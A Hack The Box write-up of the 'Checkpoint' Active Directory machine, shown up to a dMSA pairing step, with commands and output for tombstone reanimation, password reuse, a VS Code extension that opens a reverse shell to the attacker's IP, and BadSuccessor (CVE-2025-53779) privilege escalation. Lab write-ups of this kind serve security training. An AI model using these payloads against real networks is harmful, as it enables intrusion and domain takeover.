Checkpoint WriteUp

Table of Contents

Checkpoint WriteUp

Checkpoint is a 🟧 Medium difficulty machine on Hack The Box, part of Season 11. It simulates a realistic pentest scenario where the red team starts with low-privilege domain credentials (alex.turner / Checkpoint2024!), as is common in corporate security assessments.

Despite what the name might suggest, the machine does not expose any web services and is unrelated to Check Point Security Gateway / CVE-2024-24919. The real attack path revolves around enumerating Active Directory permissions with bloodyAD, reanimating a tombstone object (CN=Mark Davies) thanks to the Reanimate-Tombstones extended right, and reusing the password Checkpoint2024! on the newly restored account to gain RCE via a malicious VS Code extension. The final escalation combines BadSuccessor/BetterSuccessor (CVE-2025-53779) on dMSAs and memory forensics with MemProcFS to extract an NT hash reused by Administrator.

πŸ—ΊοΈ Attack Chain

Initial creds alex.turner:Checkpoint2024! β†’ bloodyAD get writable
      β”‚
      β–Ό
WRITE on tombstone "Mark Davies" + Reanimate-Tombstones β†’ bloodyAD set restore
      β”‚
      β–Ό
mark.davies:Checkpoint2024! (password reuse) β†’ RW on DevDrop share
      β”‚
      β–Ό
Malicious .vsix (Penelope) + vscodesync.ps1 β†’ RCE as ryan.brooks
      β”‚
      β–Ό
user.txt 🚩
      β”‚
      β–Ό
PowerView / bloodyAD get writable β†’ full control over CN=svc_deploy
      β”‚
      β–Ό
BadSuccessor (CVE-2025-53779) + BetterSuccessor β†’ dMSA evilDmsa2$
bidirectionally paired with svc_deploy (msDS-Superseded*)
      β”‚
      β–Ό
TGT/TGS for evilDmsa2$ with svc_deploy's privileges
      β”‚
      β–Ό
READ access to \\dc01\VMBackups β†’ NightlyBackup_2024-11-01\memory forensics\*.vmem
      β”‚
      β–Ό
MemProcFS (-forensic 1) + impacket-secretsdump on SAM/SYSTEM/SECURITY
      β”‚
      β–Ό
Local Administrator NT hash (reused as the domain Administrator)
      β”‚
      β–Ό
Pass-the-hash (netexec / evil-winrm) β†’ Administrator
      β”‚
      β–Ό
root.txt 🏴 (in C:\Users\max.palmer\Desktop)

πŸ” Recon

Entry Credentials

The machine provides initial access as a domain user:

User:      alex.turner
Password:  Checkpoint2024!

/etc/hosts Setup

echo "10.129.22.242 checkpoint.htb dc01.checkpoint.htb" | sudo tee -a /etc/hosts

Time Sync

Kerberos is very sensitive to clock skew between the client and the DC (5 minutes by default). Before launching anything, we sync Kali’s clock with the DC’s:

sudo ntpdate checkpoint.htb

Port Scan

Phase 1, Quick discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv checkpoint.htb

Phase 2, Versions and scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv checkpoint.htb
PortServiceDetail
53DNSSimple DNS Plus
88Kerberoskerberos-sec
135, 593, 49664-49717MSRPCDynamic RPC endpoints (DCOM/RPC over HTTP)
139, 445SMBmicrosoft-ds, signing required
389, 3268LDAP / Global Catalogcheckpoint.htb, Default-First-Site-Name
464kpasswdKerberos password change
636, 3269LDAPS / GC LDAPSPorts open, but no working TLS (see below)
5985WinRMMicrosoft-HTTPAPI/2.0
9389ADWSActive Directory Web Services (.NET Message Framing)

No web ports, a typical Domain Controller profile for Active Directory (Windows Server 2025, hostname DC01). smb2-security-mode confirms message signing enabled and required, and clock-skew: 0s thanks to the earlier ntpdate.

Enumeration With Credentials

netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
netexec winrm checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
SMB         10.129.22.242   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.22.242   445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 

LDAP        10.129.22.242   389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        10.129.22.242   389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 

WINRM       10.129.22.242   5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) 
WINRM       10.129.22.242   5985   DC01             [-] checkpoint.htb\alex.turner:Checkpoint2024!

The credentials are valid over SMB and LDAP (signing:Enforced, no TLS certificate for channel binding), but they do not grant WinRM access.

SMB Shares

netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
ShareAccessNotes
ADMIN$ / C$,Default administrative shares
DevDropREADRepository of approved .vsix extensions for VS Code 1.118.0, empty for now
IPC$READRemote IPC
NETLOGON / SYSVOLREADNo GPP passwords or autologon, nothing anomalous in the GPOs
VMBackupsDENIEDNo permissions listed for alex.turner, only accessible by svc_deploy (BackupAccess group)

Domain Users and Groups

netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --groups

17 domain users: Administrator, Guest, krbtgt, alex.turner, ryan.brooks, svc_deploy (“Deployment service account”), james.harper, sarah.mitchell, emily.carter, david.reynolds, jessica.coleman, lauren.flores, michael.torres, kevin.patterson, brian.jenkins, megan.perry, max.palmer.

Relevant groups (out of the hundred or so default AD groups):

  • IT-Staff (3 members), likely includes alex.turner
  • DevTeam (3 members), ryan.brooks, michael.torres, brian.jenkins
  • BackupAccess (1 member), svc_deploy, access to VMBackups
  • Domain Admins (2 members), Administrator and max.palmer
  • VPN-Users (4 members)
  • Other groups not exploited at this stage: Finance-Staff (2), HR-Staff (2), Engineering-Staff (4)

Discarded Attempts

AS-REP Roasting on existing accounts, none have DONT_REQ_PREAUTH:

netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --asreproast asrep.txt
LDAP        10.129.22.242   389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
LDAP        10.129.22.242   389    DC01             No entries found!

Kerberoasting, no service accounts with an SPN (other than krbtgt, disabled):

netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --kerberoasting kerb.txt
LDAP        10.129.22.242   389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.129.22.242   389    DC01             [*] Total of records returned 0

BloodHound (bloodhound-python):

bloodhound-python -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb -ns 10.129.22.242 -c All --zip
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.checkpoint.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.checkpoint.htb
INFO: Testing resolved hostname connectivity dead:beef::298d:f720:327c:6347
INFO: Trying LDAP connection to dead:beef::298d:f720:327c:6347
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer

🧠 Why does BloodHound fail here? dc01.checkpoint.htb also resolves to an IPv6 address in the dead:beef::/64 range (a typical range for HTB labs). bloodhound-python prioritizes that IPv6 address to connect to the DC. Since the DC enforces LDAP signing (seen in the nmap output: Message signing enabled and required) and bloodhound-python doesn’t sign plain NTLM binds over LDAP, it automatically tries to fall back to LDAPS, but the DC has no working certificate/LDAPS over that IPv6 address, so the TLS wrap ends in Connection reset by peer. On top of that, dc01.checkpoint.htb:88 (Kerberos) doesn’t resolve either, since we’ve only mapped checkpoint.htb in /etc/hosts, so the Kerberos fallback doesn’t work either.

Result: BloodHound is dropped in favor of targeted queries with bloodyAD (built on msldap, which correctly signs NTLM/Kerberos binds over LDAP on IPv4 without needing LDAPS) and netexec.

Alternative Attempt: SharpHound From Windows via SOCKS Pivot (Proxifier)

SharpHound.exe uses System.DirectoryServices/native SSPI, which correctly signs/seals LDAP (unlike bloodhound-python), so in theory it shouldn’t suffer the issue above. To test this, a SOCKS pivot is set up: Windows runs SharpHound.exe, but all traffic goes out through Kali (which has the VPN route to 10.129.22.242).

1. SSH server on Kali (needed for the SOCKS tunnel, only during testing):

sudo systemctl start ssh
ip a   # Kali's IP on the local/host-only network visible to Windows

⚠️ Use start (not enable), so the service does not persist across reboots. When testing is done, stop the service:

sudo systemctl stop ssh

2. SOCKS tunnel from Windows (leave the window open):

ssh -D 1080 -N your_user@<KALI_LAN_IP>

3. Entry in Windows hosts (as administrator, C:\Windows\System32\drivers\etc\hosts):

Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "10.129.22.242 checkpoint.htb dc01.checkpoint.htb"

4. Proxifier:

  • Proxy Servers: 127.0.0.1:1080, SOCKS Version 5.
  • Proxification Rules: an Any application rule β†’ target hosts 10.129.22.242 (or 10.129.0.0/16) β†’ the SOCKS5 proxy above. Important: this rule must be FIRST in the list (rules are evaluated in order, before “Localhost”/“Default”).
  • Proxifier must run as Administrator if the process being intercepted (e.g. an elevated PowerShell) is also elevated, otherwise nothing shows up in the “Connections” tab, not even as “Direct”.

Connectivity check:

Test-NetConnection -ComputerName 10.129.22.242 -Port 445
ComputerName     : 10.129.22.242
RemoteAddress    : 10.129.22.242
RemotePort       : 445
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.100.224
TcpTestSucceeded : True

βœ… The SOCKS pivot works (visible in Proxifier). However, SharpHound.exe still fails to connect to LDAP:

.\SharpHound.exe -c All -d checkpoint.htb --domaincontroller checkpoint.htb --ldapusername alex.turner --ldappassword 'Checkpoint2024!' --zipfilename checkpoint_bh.zip
2026-06-14T11:48:19.7844651+02:00|INFORMATION|Initializing SharpHound at 11:48 AM on 6/14/2026
2026-06-14T11:49:23.1827944+02:00|ERROR|Unable to connect to LDAP: Failed to create ldap connection for checkpoint.htb

Extra data point: with Test-NetConnection already working, AD Explorer (Sysinternals) is tried, connecting manually to checkpoint.htb/DC01.checkpoint.htb, it connects perfectly through the SOCKS pivot (Proxifier shows ADExplorer64.exe β†’ checkpoint.htb:389 with several MB transferred, a fully browsable LDAP session: OUs DMSAHolder, Employees, Engineering, Finance, HR, IT, etc.).

This confirms that the SOCKS pivot fully supports LDAP TCP traffic from a normal Windows process. SharpHound.exe’s failure (Failed to create ldap connection, with no connection visible at all in Proxifier) then points to SharpHound, before the actual LDAP bind, performing a Domain/Forest resolution via Netlogon (DsGetDcName), a mechanism that uses DNS SRV records (_ldap._tcp.dc._msdcs.checkpoint.htb) over UDP, outside the SharpHound.exe process (via lsass.exe/svchost.exe), and therefore invisible/unsupported by a TCP-only SOCKS tunnel based on ssh -D. --domaincontroller doesn’t bypass this internal System.DirectoryServices.ActiveDirectory call.

Several additional mitigations are tried without success: runas /netonly (separate network session, Proxifier stops intercepting the process entirely, confirmed with Wireshark: the SYN to 10.129.22.242:389 goes out raw, without going through 127.0.0.1:1080), and the --skipportcheck/--realdnsname/--domaincontroller <IP> flags (same result).

πŸ’‘ Conclusion / recommended approach for future engagements: replace the SOCKS pivot (ssh -D + Proxifier, TCP only) with a full L3 tunnel such as ligolo-ng (TUN interface routing TCP+UDP into the target network, proxy on Windows and agent on the Kali box with the HTB VPN) and configure the ligolo adapter’s DNS to point at the DC (10.129.22.242, port 53 open). That way SRV/Netlogon resolution would travel through the tunnel just like the rest of the traffic. In this session, ligolo-ng fails to create the TUN interface (tun should be created when starting tunnel), likely due to a conflict with a Wintun driver already installed by a previous VPN (OpenVPN Wintun), left pending for a clean VM.

πŸ’‰ Initial Access

Permission Enumeration With bloodyAD get writable

bloodyAD (built on msldap, which supports LDAP NTLM signing unlike raw ldap3/impacket) lets us list every object/attribute alex.turner has write permissions on, including those inherited from their groups:

bloodyAD --host 10.129.22.242 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable --detail

Relevant results:

  1. WRITE on the tombstone object CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb.
  2. The extended right Reanimate-Tombstones (CONTROL_ACCESS) on the OU OU=Employees,DC=checkpoint,DC=htb.
  3. (Secondary lead, not exploited) CREATE_CHILD on the AD DNS zones (DomainDnsZones/ForestDnsZones, CN=MicrosoftDNS), possible ADIDNS abuse.

🧠 Concept, Tombstone Reanimation: when an AD object is deleted, it isn’t removed immediately: it becomes a tombstone (isDeleted=TRUE attribute) and is moved to CN=Deleted Objects, keeping its objectSid, objectGUID, and most of its attributes during the tombstone lifetime (180 days by default), including the password hash (unicodePwd/pwdLastSet). If a user has the Reanimate-Tombstones extended right on the object’s original parent container (lastKnownParent), they can restore the object to its previous state, recovering its SID, group memberships and the password it had before being deleted.

Restoring the Object

bloodyAD --host 10.129.22.242 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

The mark.davies account exists again, enabled (NORMAL_ACCOUNT), with the userAccountControl and password it had before deletion.

The Password Was Reuse, Not Cracking

Before considering AS-REP Roasting or Kerberoasting (which would require modifying userAccountControl/servicePrincipalName and cracking offline), alex.turner’s password is tried directly against mark.davies, assuming an org-wide shared password policy:

netexec smb 10.129.22.242 -u mark.davies -p 'Checkpoint2024!'
SMB         10.129.22.242   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.22.242   445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024!

mark.davies reuses the same password as alex.turner: Checkpoint2024!, the tombstone reanimation preserved that password exactly as it was before the account was deleted. No need to reset anything or crack any hash.

The interesting part: unlike alex.turner, mark.davies has READ/WRITE permissions on the DevDrop share, which according to its description hosts “approved” .vsix extensions for VS Code 1.118.0.

πŸ”Ž RCE via Malicious VS Code Extension

Creating the Malicious .vsix

DevDrop is a share meant to distribute “approved” VS Code extensions. A minimal extension is created whose activationEvents is * (activates as soon as VS Code opens, no user interaction needed) and whose extension.js launches a reverse shell (a Penelope payload) to 10.10.14.45:8443:

mkdir vsix-payload
cd vsix-payload

vsix-payload/
β”œβ”€β”€ package.json
└── extension.js

package.json:

{
    "name": "malicious-extension",
    "displayName": "MaliciousExtension",
    "version": "0.0.1",
    "engines": {
        "vscode": "^1.85.0"
    },
    "categories": [
        "Other"
    ],
    "activationEvents": [
        "*"
    ],
    "main": "./extension.js"
}

extension.js, the cmd is a Base64-encoded PowerShell one-liner (TCP reverse shell to 10.10.14.45:8443) run with exec as soon as the extension activates:

const vscode = require('vscode');
const { exec } = require('child_process');

function activate(context) {
    const cmd = 'cmd /c powershell -e <BASE64_REVERSE_SHELL>';

    exec(cmd, (error, stdout, stderr) => {
        if (error) console.error(`error: ${error}`);
    });
}

function deactivate() {}

module.exports = { activate, deactivate };

πŸ’‘ You don’t need to build the <BASE64_REVERSE_SHELL> one-liner by hand: penelope generates ready-to-paste payloads (including the Base64 PowerShell version) with p:

penelope -p 8443 # Then press p to see the payloads

Packaged with vsce:

vsce package --no-dependencies --allow-missing-repository --allow-star-activation

This produces malicious-extension-0.0.1.vsix.

Uploading to the DevDrop Share

smbclient //10.129.22.242/DevDrop -U checkpoint.htb/mark.davies%'Checkpoint2024!' -c 'put malicious-extension-0.0.1.vsix'
putting file malicious-extension-0.0.1.vsix as \malicious-extension-0.0.1.vsix (23.5 kB/s) (average 23.5 kB/s)

Listener and Automatic Execution

penelope -p 8443

After a few minutes, a reverse shell arrives from DC01 as checkpoint\ryan.brooks:

[+] Got reverse shell from DC01~10.129.22.242-Microsoft_Windows_Server_2025_Standard-x64-based_PC 😍 Assigned SessionID <1>

🧠 Why does it run automatically? The DC has C:\Scripts\vscodesync.ps1, run periodically by a scheduled task running as ryan.brooks. The script looks for .vsix files in C:\Shares\DevDrop (the local path of the DevDrop share), installs them with code.cmd --install-extension --force, and relaunches Code.exe. When VS Code installs and opens with our extension, extension.js runs in the context of ryan.brooks, triggering the reverse shell.

⚠️ As long as the .vsix stays in DevDrop, every cycle of the script generates a new session in Penelope (which can flood the listener). Once you have a stable shell, remove the file from the share and only re-upload it when you need another:

smbclient //10.129.22.242/DevDrop -U checkpoint.htb/mark.davies%'Checkpoint2024!' -c 'del malicious-extension-0.0.1.vsix'

🚩 User Flag

PS C:\users\ryan.brooks\desktop> type user.txt

Enumeration as ryan.brooks

PS C:\users\ryan.brooks\desktop> whoami /all

checkpoint\ryan.brooks (SID ...1103) belongs to the CHECKPOINT\DevTeam and CHECKPOINT\VPN-Users groups, with no special privileges enabled (SeMachineAccountPrivilege, SeIncreaseWorkingSetPrivilege disabled).

C:\shares shows the two shares already seen over SMB, but also a C:\Scripts directory:

PS C:\Scripts> ls

-a----    vscodesync.log
-a----    vscodesync.ps1

vscodesync.ps1 is the script described above that reinstalls extensions from DevDrop and relaunches VS Code, the source of our shell.

C:\shares\VMBackups exists alongside DevDrop, but local filesystem access is also denied to ryan.brooks (only svc_deploy/the BackupAccess group), a likely high-value target for privilege escalation (VM backups containing SAM/NTDS.dit).

πŸ§— Privilege Escalation β†’ root/Administrator

ACL Enumeration With PowerView

From the ryan.brooks shell (no password needed, using the current Kerberos ticket), PowerView is downloaded and interesting ACLs are enumerated:

iwr -Uri http://10.10.14.45/PowerView.ps1 -OutFile C:\Windows\Temp\PowerView.ps1
Import-Module C:\Windows\Temp\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceName -match 'ryan.brooks|DevTeam|VPN-Users'}
ObjectDN                : OU=DMSAHolder,DC=checkpoint,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : CreateChild
ObjectAceType           : None
AceFlags                : ContainerInherit
AceType                 : AccessAllowed
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName   : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN     : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass  : user

ObjectDN                : CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : GenericWrite
ObjectAceType           : None
AceFlags                : ContainerInherit
AceType                 : AccessAllowed
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName   : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN     : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass  : user

Relevant findings:

  • ryan.brooks has CreateChild on OU=DMSAHolder,DC=checkpoint,DC=htb (container object, ContainerInherit).
  • ryan.brooks has GenericWrite on CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb (secondary lead, Shadow Credentials ruled out, this DC doesn’t support PKINIT).

The DC runs Windows Server 2025, which introduces dMSA accounts (delegated Managed Service Accounts). The OU=DMSAHolder name combined with the CreateChild permission points directly to BadSuccessor (CVE-2025-53779): if an attacker can create a dMSA in an OU and configure it to “succeed” a privileged account, the KDC will issue tickets for that dMSA carrying the impersonated account’s privileges.

🧠 CVE-2025-53779: a relative path traversal vulnerability in Windows Server 2025 Kerberos, discovered by Yuval Gordon (Akamai) and publicly disclosed on May 21, 2025. Microsoft patched it in the August 2025 Patch Tuesday. CVSSv3 7.2 (High), though Microsoft internally classifies it as “moderate” severity.

BadSuccessor: Creating the Malicious dMSA

The public Invoke-BadSuccessor.ps1 toolkit doesn’t correctly detect the CreateChild ACE on OU=DMSAHolder (fails with [-] No vulnerable OU found.). Instead, BadSuccessor by @kreepsec is used (a C# PoC based on @YuG0rd/Akamai’s research), which automates dMSA creation and configuration of the msDS-DelegatedMSAState/msDS-ManagedAccountPrecededByLink attributes.

It’s compiled (.NET Framework, open the .sln in Visual Studio and Build Solution in Release) and uploaded to the DC via goshs + iwr from the ryan.brooks shell:

iwr -Uri http://10.10.14.45/BadSuccessor.exe -OutFile C:\Windows\Temp\BadSuccessor.exe

First, find to confirm writable OUs:

C:\Windows\Temp\BadSuccessor.exe find

[*] OUs you have write access to:
    -> OU=Domain Controllers,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=ServiceAccounts,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=DMSAHolder,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll, CreateChild
    -> OU=IT,OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=Finance,OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=HR,OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=Engineering,OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll

OU=DMSAHolder confirms CreateChild + GenericAll/GenericWrite, as seen with PowerView. Now the malicious dMSA evilDmsa is created, linked (msDS-ManagedAccountPrecededByLink) to Administrator, with ryan.brooks as the principal authorized to retrieve its managed password:

C:\Windows\Temp\BadSuccessor.exe escalate -targetOU "OU=DMSAHolder,DC=checkpoint,DC=htb" -dmsa evilDmsa -targetUser "CN=Administrator,CN=Users,DC=checkpoint,DC=htb" -dnshostname evilDmsa -user ryan.brooks -dc-ip 10.129.22.242

[*] Creating dMSA object...
[*] Inheriting target user privileges
    -> msDS-ManagedAccountPrecededByLink = CN=Administrator,CN=Users,DC=checkpoint,DC=htb
    -> msDS-DelegatedMSAState = 2
[+] Privileges Obtained.
[*] Setting PrincipalsAllowedToRetrieveManagedPassword
    -> msDS-GroupMSAMembership = ryan.brooks
[+] Setting userAccountControl attribute
[+] Setting msDS-SupportedEncryptionTypes attribute

[+] Created dMSA 'evilDmsa' in 'OU=DMSAHolder,DC=checkpoint,DC=htb', linked to 'CN=Administrator,CN=Users,DC=checkpoint,DC=htb' (DC: 10.129.22.242)

The dMSA evilDmsa$ is now created with msDS-DelegatedMSAState=2 (“completed” migration) and linked to Administrator. The next step is to use ryan.brooks’s current Kerberos ticket to request a TGS for evilDmsa$ with Rubeus’s /dmsa flag, the KDC should populate the PAC with Administrator’s privileges via the “succession” link.

Getting the dMSA’s TGT and TGS With Rubeus

Rubeus.exe dump (needed to extract ryan.brooks’s TGT from the LSA cache) fails because the shell runs at medium integrity:

C:\Windows\Temp\Rubeus.exe dump /luid:0x6d2ad /service:krbtgt /nowrap
[X] You need to be in high integrity for the actions specified.

ryan.brooks is not a local admin (no SeImpersonatePrivilege, medium integrity), so there’s no easy path to high integrity. Alternative: Rubeus.exe tgtdeleg, the “fake delegation” SSPI trick that returns a usable TGT without high integrity:

C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
# returns a base64 TGT (doIF...) for ryan.brooks

With that TGT, the TGS for evilDmsa$ is requested (requires Rubeus built from master, with PR #194 adding the /dmsa flag and support for KERB-DMSA-KEY-PACKAGE):

C:\Windows\Temp\Rubeus.exe asktgs /ticket:<base64_TGT_from_tgtdeleg> /targetuser:evilDmsa$ /service:krbtgt/checkpoint.htb /dmsa /dc:dc01.checkpoint.htb /opsec /nowrap

After fixing the SPN to uppercase (/service:krbtgt/CHECKPOINT.HTB) and compiling Rubeus from master (the initially deployed v2.3.2 build didn’t support /dmsa), the request successfully generates the dMSA-specific TGS-REQ (Building DMSA TGS-REQ request for 'evilDmsa$' from 'ryan.brooks'), but the KDC responds with KRB_ERR_GENERIC (60) even when forcing /enctype:AES128 (the dMSA has msDS-SupportedEncryptionTypes=0x1C, no AES256). This path is abandoned, likely due to a KDS Root Key not being available/replicated to generate the dMSA’s “managed password”.

Pivot: Enumeration With winPEAS

In parallel, the latest winPEAS (peass-ng) release is downloaded on Kali:

# function in ~/.zshrc
getwinpeas() {
    local dest="${1:-.}"
    local base="https://github.com/peass-ng/PEASS-ng/releases/latest/download"
    mkdir -p "$dest"
    for f in winPEASx64.exe winPEASx86.exe winPEASany.exe winPEAS.bat; do
        curl -L -o "$dest/$f" "$base/$f"
    done
}
getwinpeas

It’s served via goshs and downloaded/run in the ryan.brooks shell, dumping the output to a file:

iwr -uri http://10.10.14.45/winPEASx64.exe -outfile C:\Windows\Temp\winPEASx64.exe
C:\Windows\Temp\winPEASx64.exe quiet cmd > C:\Windows\Temp\winpeas_out.txt

To bring the file back to Kali, an Impacket SMB share is set up (goshs’s /uploads endpoint didn’t work as expected):

sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support -user test -password test
net use \\10.10.14.45\SMB /user:test test
copy C:\Windows\Temp\winpeas_out.txt \\10.10.14.45\SMB\winpeas_out.txt

winPEASx64.exe’s output with > file ends up in UTF-16LE (BOM ΓΏΓΎ), so it’s converted before analysis:

iconv -f UTF-16LE -t UTF-8 ~/smb/winpeas_out.txt -o ~/winpeas_clean.txt

The “AD object control surfaces” section reveals the key finding, ryan.brooks has GenericAll directly on CN=Administrator,CN=Users,DC=checkpoint,DC=htb (among 80 other objects):

╔══════════╣ AD object control surfaces (T1484.001,T1087.002,T1018)
  [+] Found 81 object(s) where your principal has abuse-friendly rights:
    -> Administrator (user)
       DN: CN=Administrator,CN=Users,DC=checkpoint,DC=htb
       * GenericAll: Full control -> reset password, add group members, edit SPNs/UAC, change ACLs.

GenericAll over the Administrator account itself would, in theory, allow a direct password reset, much simpler than the BadSuccessor/dMSA chain. However, running it:

Import-Module ActiveDirectory
try {
    Set-ADAccountPassword -Identity Administrator -Reset -NewPassword (ConvertTo-SecureString "P4ssw0rd123!" -AsPlainText -Force) -ErrorAction Stop
} catch { Write-Host "ERROR: $($_.Exception.Message)" }

Get-ADUser Administrator -Properties PasswordLastSet | Select-Object Name, PasswordLastSet
ERROR: Access is denied
Name          PasswordLastSet
----          ---------------
Administrator 5/9/2026 9:16:34 AM

PasswordLastSet doesn’t change and the operation returns Access is denied: the GenericAll winPEAS reports on CN=Administrator,CN=Users is a false positive of its experimental T1484.001 check. Also confirmed with impacket-wmiexec (STATUS_LOGON_FAILURE) and evil-winrm (WinRMAuthorizationError), the password never changed.

Post-Patch BadSuccessor (BetterSuccessor): Pivoting to svc_deploy

Recapping the earlier evilDmsa β†’ Administrator attempt: the KRB_ERR_GENERIC (60) wasn’t a syntax or enctype issue. Microsoft patched CVE-2025-53779 in August 2025, hardening KDC validation: it’s no longer enough for the dMSA to point at the victim via msDS-ManagedAccountPrecededByLink (a one-way link), the KDC now validates both sides of the relationship. On the “superseded” account, the following are also required:

  • msDS-SupersededManagedAccountLink β†’ the dMSA’s DN
  • msDS-SupersededServiceAccountState β†’ 1

For Administrator (CN=Administrator,CN=Users) there’s no ACE allowing those attributes to be written. But bloodyAD get writable (below) shows that ryan.brooks has full control over CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb, including both Superseded* attributes. This is the “BetterSuccessor” technique (Altered Security, post-patch): if you control both sides of the pairing on any account, you inherit its privileges via the dMSA.

Exporting ryan.brooks’s Kerberos context to Kali (needed to use bloodyAD):

C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
# copy the resulting base64(ticket.kirbi)
nano ryan.b64                                  # paste the base64
base64 -d ryan.b64 > ryan.kirbi
impacket-ticketConverter ryan.kirbi ryan.ccache
export KRB5CCNAME=ryan.ccache

With the ccache, bloodyAD confirms full write access to svc_deploy (including unicodePwd, msDS-KeyCredentialLink, msDS-SupersededManagedAccountLink, msDS-SupersededServiceAccountState, servicePrincipalName, etc.):

bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k get writable --detail

Before reaching BetterSuccessor, two approaches against svc_deploy were tried and didn’t work:

  • Targeted Kerberoasting: a fake SPN was added (Set-ADUser -Identity svc_deploy -ServicePrincipalNames @{Add="HTTP/svc_deploy.checkpoint.htb"}) and the TGS was requested with Rubeus.exe kerberoast /user:svc_deploy /simple /nowrap β†’ hash $krb5tgs$18$svc_deploy$... (AES256, hashcat -m 19700). Not cracked with rockyou.txt.
  • Direct unicodePwd reset via bloodyAD set password svc_deploy ...: over plain LDAP it returns Password can't be changed (confidential attribute, requires an encrypted channel), forcing LDAPS (-s, port 636) the TLS handshake times out, there’s no LDAPS/PKI on this DC (consistent with Shadow Credentials/PKINIT not working either).

Step 1, create a second dMSA, this time pointing at svc_deploy:

C:\Windows\Temp\BadSuccessor.exe escalate -targetOU "OU=DMSAHolder,DC=checkpoint,DC=htb" -dmsa evilDmsa2 -targetUser "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" -dnshostname evilDmsa2 -user ryan.brooks -dc-ip 10.129.22.242

[*] Creating dMSA object...
[*] Inheriting target user privileges
    -> msDS-ManagedAccountPrecededByLink = CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
    -> msDS-DelegatedMSAState = 2
[+] Privileges Obtained.
[*] Setting PrincipalsAllowedToRetrieveManagedPassword
    -> msDS-GroupMSAMembership = ryan.brooks
[+] Setting userAccountControl attribute
[+] Setting msDS-SupportedEncryptionTypes attribute

Step 2, complete the mutual pairing by writing on svc_deploy (the “victim” side) via bloodyAD:

bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k set object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" msDS-SupersededManagedAccountLink -v "CN=evilDmsa2,OU=DMSAHolder,DC=checkpoint,DC=htb"

